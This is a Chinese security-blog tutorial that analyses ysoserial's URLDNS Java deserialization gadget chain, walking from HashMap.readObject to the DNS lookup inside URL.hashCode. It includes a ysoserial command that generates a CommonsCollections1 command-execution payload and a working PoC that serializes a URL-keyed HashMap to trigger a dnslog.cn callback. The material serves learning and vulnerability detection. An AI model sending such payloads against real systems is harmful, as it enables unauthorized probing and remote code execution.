前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >关于URLDNS链的学习

关于URLDNS链的学习

原创
作者头像
红队蓝军
发布2022-02-05 14:51:23
6770
发布2022-02-05 14:51:23
举报
文章被收录于专栏:红队蓝军红队蓝军

ysoserial

在说反序列化漏洞利用链前,我们跳不过一个里程碑式的⼯工具,ysoserial。

反序列化漏洞在各个语言⾥里本不是一个新鲜的名词,但2015年Gabriel Lawrence (@gebl)和Chris Frohoff (@frohoff)在AppSecCali上提出了利用Apache Commons Collections来构造命令执行的利⽤链,并在年底因为对Weblogic、JBoss、Jenkins等著名应用的利用,一⽯石激起千层浪,彻底打开了一片Java安全的蓝海。

而ysoserial就是两位原作者在此议题中释出的一个工具,它可以让用户根据自己选择的利用链,生成反序列化利用数据,通过将这些数据发送给目标,从而执行用户预先定义的命令。

什么是利用链?

利用链也叫“gadget chains”,我们通常称为gadget。如果你学过PHP反序列化漏洞,那么就可以将gadget理解为一种方法,它连接的是从触发位置开始到执行命令的位置结束,在PHP里可能是 __desctruct 到 eval ;如果你没学过其他语⾔的反序列化漏洞,那么gadget就是一种⽣生成POC的方法罢了。

ysoserial的使用也很简单,虽然我们暂时先不理解 CommonsCollections ,但是用ysoserial可以很容易地生成这个gadget对应的POC:

代码语言:javascript
复制
java -jar ysoserial-master-30099844c6-1.jar CommonsCollections1 "id"

如上,ysoserial大部分的gadget的参数就是一条命令,比如这里是 id 。生成好的POC发送给目标,如果目标存在反序列化漏洞,并满足这个gadget对应的条件,则命令 id 将被执行。

URLDNS

URLDNS 就是ysoserial中一个利用链的名字,但准确来说,这个其实不能称作“利用链”。因为其参数不不是一个可以“利用”的命令,而仅为一个URL,其能触发的结果也不是命令执行,而是一次DNS请求。

虽然这个“利用链”实际上是不能“利用”的,但因为其如下的优点,非常适合我们在检测反序列化漏洞时使用:

  • 使用Java内置的类构造,对第三方库没有依赖
  • 在目标没有回显的时候,能够通过DNS请求得知是否存在反序列化漏洞

我们去看一下源码

代码语言:javascript
复制
public Object getObject(final String url) throws Exception {

    //Avoid DNS resolution during payload creation
    //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
    URLStreamHandler handler = new SilentURLStreamHandler();

    HashMap ht = new HashMap(); // HashMap that will contain the URL
    URL u = new URL(null, url, handler); // URL to use as the Key
    ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

    Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

    return ht;
}

public static void main(final String[] args) throws Exception {
    PayloadRunner.run(URLDNS.class, args);
}

/**
         * <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
         * DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior/
         * using the serialized object.</p>
         *
         * <b>Potential false negative:</b>
         * <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
         * second resolution.</p>
         */
static class SilentURLStreamHandler extends URLStreamHandler {

    protected URLConnection openConnection(URL u) throws IOException {
        return null;
    }

    protected synchronized InetAddress getHostAddress(URL u) {
        return null;
    }
}

利用链如下

代码语言:javascript
复制
Gadget Chain:
     HashMap.readObject()
       HashMap.putVal()
         HashMap.hash()
           URL.hashCode()

HashMap底层原理

我们可以看到利用链主要利用的就是HashMap(),那我们首先看一下HashMap()的底层实现原理

HashMap:作为Map的主要实现类;线程不安全的,效率高;存储null的key 和value

代码语言:javascript
复制
HashMap map = new HashMap():

在实例化以后,底层创建了长度是16的一维数组Entry[] table

...可能已经执行过多次put. . .

代码语言:javascript
复制
map.put( key1, value1):

首先,调用key1所在类的hashCode()计算key1哈希值,此哈希值经过某种算法计算以后,得到在Entry数组中的存放位置。如果此位置上的数据为空,此时的key1-value1添加成功。----情况1

如果此位置上的数据不为空,(意味着此位置上存在一个或多个数据(以链表形式存在)),比较key1和已经存在的一个或多个数据的哈希值:

如果key1的哈希值与已经存在的数据的哈希值都不相同,此时key1-value1添加成功。----情况2

如果key1的哈希值和已经存在的某一个数据(key2-vaLue2)的哈希值相同,继续比较:调用key1所在类的equals(key2)

如果equals()返回false:此时key1-value1添加成功。----情况3

如果equals()返回true:使用value1替换value2。

补充:关于情况2和情况3:此时key1-value1和原来的数据以链表的方式存储。

在不断的添加过程中,会涉及到扩容问题,默认的扩容方式:扩容为原来容量的2倍,并将原有的数据复制过来。

jdk8相较于jdk7在底层实现方面的不同:

  • new HashMap():底层没有创建一个长度为16的数组
  • jdk 8底层的数组是:Node[],而非Entry[]
  • 首次调用put()方法时,底层创建长度为16的数组
  • jdk7底层结构只有:数组+链表。jdk8中底层结构:数组+链表+红黑树。

当数组的某一个索引位置上的元素以链表形式存在的数据个数>8且当前数组的长度〉64时,此时此索引位置上的所有数据改为使用红黑树存储。

利用

原理:java.util.HashMap 重写了 readObject, 在反序列化时会调用 hash 函数计算 key 的 hashCode.而 java.net.URL 的 hashCode 在计算时会调用 getHostAddress 来解析域名, 从而发出 DNS 请求

拉取项目到idea

image-20220116132233056.png
image-20220116132233056.png

找一下入口点mainClass

image-20220116132256222.png
image-20220116132256222.png

运行测试一下

image-20220116132344249.png
image-20220116132344249.png

发现报错,是因为没有传入值

image-20220116132414700.png
image-20220116132414700.png

我们点击编辑配置

image-20220116132618672.png
image-20220116132618672.png

然后到dnslog获取一个链接

image-20220116132716372.png
image-20220116132716372.png

传入参数

image-20220116132804994.png
image-20220116132804994.png

即可得到序列化的数据

image-20220116132904131.png
image-20220116132904131.png

首先我们在put()方法处断点进行调试

image-20220116133238600.png
image-20220116133238600.png

这里可以看到使用了putVal(hash(key), key, value, false, false);语句计算了hash,我们跟进去hash函数

image-20220116133258242.png
image-20220116133258242.png
image-20220116110614601.png
image-20220116110614601.png

在没有分析过的情况下,我为何会关注hash函数?因为ysoserial的注释中很明确地说明了“During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.”,是hashCode的计算操作触发了了DNS请求。

hash()函数里面发现又调用了hashCode()函数

代码语言:javascript
复制
    static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }
image-20220116133336836.png
image-20220116133336836.png

这里调用hashCode的对象为Object,实际传入值的时候,该对象会变成java.net.URL,所以实际上调用的是URL的hashcode方法,当hashCode等于-1时则会执行handler.hashCode()方法,那我们继续往里面跟

image-20220116133401129.png
image-20220116133401129.png
image-20220116133509932.png
image-20220116133509932.png

我们可以看到hashCode()方法里面有一个getHostAddress()方法,猜测应该是获取ip地址的,我们继续往里面看

image-20220116133657058.png
image-20220116133657058.png

通过InetAddress.getByName函数注释可以看到:如果输入的参数是主机名则查询ip,这就有一次dns查询。

image-20220116140405056.png
image-20220116140405056.png
image-20220116141443276.png
image-20220116141443276.png

我们这里去看一下重写后的getObject()方法

代码语言:javascript
复制
private void readObject(java.io.ObjectInputStream s)
    throws IOException, ClassNotFoundException {
    // Read in the threshold (ignored), loadfactor, and any hidden stuff
    s.defaultReadObject();
    reinitialize();
    if (loadFactor <= 0 || Float.isNaN(loadFactor))
        throw new InvalidObjectException("Illegal load factor: " +
                                         loadFactor);
    s.readInt();                // Read and ignore number of buckets
    int mappings = s.readInt(); // Read number of mappings (size)
    if (mappings < 0)
        throw new InvalidObjectException("Illegal mappings count: " +
                                         mappings);
    else if (mappings > 0) { // (if zero, use defaults)
        // Size the table using given load factor only if within
        // range of 0.25...4.0
        float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
        float fc = (float)mappings / lf + 1.0f;
        int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
                   DEFAULT_INITIAL_CAPACITY :
                   (fc >= MAXIMUM_CAPACITY) ?
                   MAXIMUM_CAPACITY :
                   tableSizeFor((int)fc));
        float ft = (float)cap * lf;
        threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                     (int)ft : Integer.MAX_VALUE);

        // Check Map.Entry[].class since it's the nearest public type to
        // what we're actually creating.
        SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
        @SuppressWarnings({"rawtypes","unchecked"})
        Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
        table = tab;

        // Read the keys and values, and put the mappings in the HashMap
        for (int i = 0; i < mappings; i++) {
            @SuppressWarnings("unchecked")
                K key = (K) s.readObject();
            @SuppressWarnings("unchecked")
                V value = (V) s.readObject();
            putVal(hash(key), key, value, false, false);
        }
    }
}

这里通过注释可以看到:避免payload生成期间有DNS查询。

image-20220116143540928.png
image-20220116143540928.png

我们看一下SilentURLStreamHandler类,继承URLStreamHandler,并重写了openConnectiongetHostAddress方法,openConnection方法是一个抽象方法所以必须重写,重写getHostAddress则是为了防⽌在⽣成Payload的时候也执⾏了URL请求和DNS查询,执行getHostAddress时直接返回null,避免进一步调用getByName()

image-20220116143558557.png
image-20220116143558557.png

回到hashMap.readObject方法,hash方法中参数key的来源为readObject读取出的,那么意味着在序列化WriteObject方法时就已经将这个值写入。

image-20220117141802766.png
image-20220117141802766.png

继续看writeObject()方法,跟进internalWriteEntries()方法

image-20220117134531856.png
image-20220117134531856.png

可以看到这里写入的key为tab数组中抽出来的,而tab的值即HashMap中table的值。想要修改table的值,就需要调用HashMap.put()方法。

image-20220117134648979.png
image-20220117134648979.png

但是HashMap.put()方法是会触发一次dns请求的,这就解释了为什么需要防⽌在⽣成Payload的时候也执⾏了URL请求和DNS查询的问题。

image-20220117134830690.png
image-20220117134830690.png

那么整体调用链如下

代码语言:javascript
复制
HashMap.readObject() ->  HashMap.putVal() -> HashMap.hash() -> URL.hashCode()->URLStreamHandler.hashCode().getHostAddress->URLStreamHandler.hashCode().getHostAddress->URLStreamHandler.hashCode().getHostAddress.InetAddress.getByName

poc

跟完链子了解原理之后,自己编写一个poc尝试一下

代码语言:javascript
复制
import java.io.*;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;

public class URLDNS implements Serializable
{
    public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
        URLStreamHandler handler = new URLStreamHandler() {
            @Override
            protected URLConnection openConnection(URL u) throws IOException {
                return null;
            }
        };

        HashMap map = new HashMap<>();
        String url = "http://xkesxe.dnslog.cn";
        URL u = new URL(null, url, handler);
        Field code = u.getClass().getDeclaredField("hashCode");
        code.setAccessible(true);
        code.set(u, -1);
        map.put(u, url);

        ObjectOutputStream stream = new ObjectOutputStream(new FileOutputStream("test.data"));
        stream.writeObject(map);
        ObjectInputStream stream1 = new ObjectInputStream(new FileInputStream("test.data"));
        stream1.readObject();
    }
}

结果如下所示

image-20220117142918352.png
image-20220117142918352.png
image-20220117142931929.png
image-20220117142931929.png

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • ysoserial
  • URLDNS
    • HashMap底层原理
      • 利用
        • poc
        领券
        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档